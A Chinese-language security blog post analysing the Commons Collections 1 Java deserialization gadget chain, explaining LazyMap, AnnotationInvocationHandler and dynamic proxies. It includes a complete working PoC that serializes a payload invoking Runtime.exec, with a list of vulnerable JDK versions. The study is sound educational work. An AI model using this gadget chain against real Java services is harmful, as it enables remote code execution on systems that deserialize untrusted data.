Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三)
0x00 前言
继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。
0x01 CC链的另一种构造方式
上篇文章说到使用LazyMap
的get
方法也可以去触发命令执行。因为LazyMap
的get
方法在
这里看到this.factory
变量会去调用transform
方法。前面也分析了该类构造方法是一个protected
修饰的。不可被直接new。需要使用decorate
工厂方法去提供。那么在前面我们调用该方法并传入innerMap
和transformerChain
参数。
这里的innerMap是一个Map的对象,transformerChain
是一个ChainedTransformer
修饰过的Transformer[]
数组。
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
传入过后,LazyMap
的get
方法方法里面的this.factory
为Transformer[]
数组,这时候去调用就会执行transform
方法,而ChainedTransformer
的transform
方法又会去遍历调用Transformer[]
里面的transform
方法,导致使用方式的方式传入的Runtime
调用了exec
执行了calc.exe
弹出一个计算器。
当然在实际中,我们还需要借助其他的类去调用这个get方法。
而在AnnotationInvocationHandler
的invoke
就会去调用get
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
这里特地标出来
Object var6 = this.memberValues.get(var4);
前面说过 构造方法传入的是transformerChain
, this.memberValues=transformerChain
this.memberValues
是一个ChainedTransformer
修饰过的Transformer[]
数组。这时候调用get
,get
方法调用transform
,又回到了刚刚的话题上了。
AnnotationInvocationHandler
的invoke
怎么去调用呢?
在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。
0x02 动态代理
关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。
动态代理的实现:
Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
-
第一个参数:People.getClass().getClassLoader(),使用handler对象的
classloader对象来加载我们的代理对象 -
第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
-
第三个参数:我们将代理对象关联到上面的InvocationHandler对象上
0x03 POC 分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
主要是来看这一段代码
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里的handler是反射创建的一个 AnnotationInvocationHandler
类。而AnnotationInvocationHandler
中实现了InvocationHandler
接口,可以直接作为调用处理器传入。
那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler
重写了readObject()
方法,所以调用的是AnnotationInvocationHandler
的readObject()
方法。readObject()
方法会去调用memberValues的entrySet()
方法。这里的memberValues
是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap
。
对应的代码:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
因为proxyMap
是我们的代理对象,所以调用proxyMap
的entrySet()
会触发到AnnotationInvocationHandler
的invoke()
方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()
方法都执行一次。
执行AnnotationInvocationHandler
的invoke()
方法后又会调用get方法,再次回到刚刚的地方了。
LazyMap
的get
方法方法里面的this.factory
为Transformer[]
数组,这时候去调用就会执行transform
方法,而ChainedTransformer
的transform
方法又会去遍历调用Transformer[]
里面的transform
方法,导致使用方式的方式传入的Runtime
调用了exec
执行了calc.exe
弹出一个计算器。
那么就刚好对应了前面标出来的一个利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 结尾
在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandler
的readObject()
复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。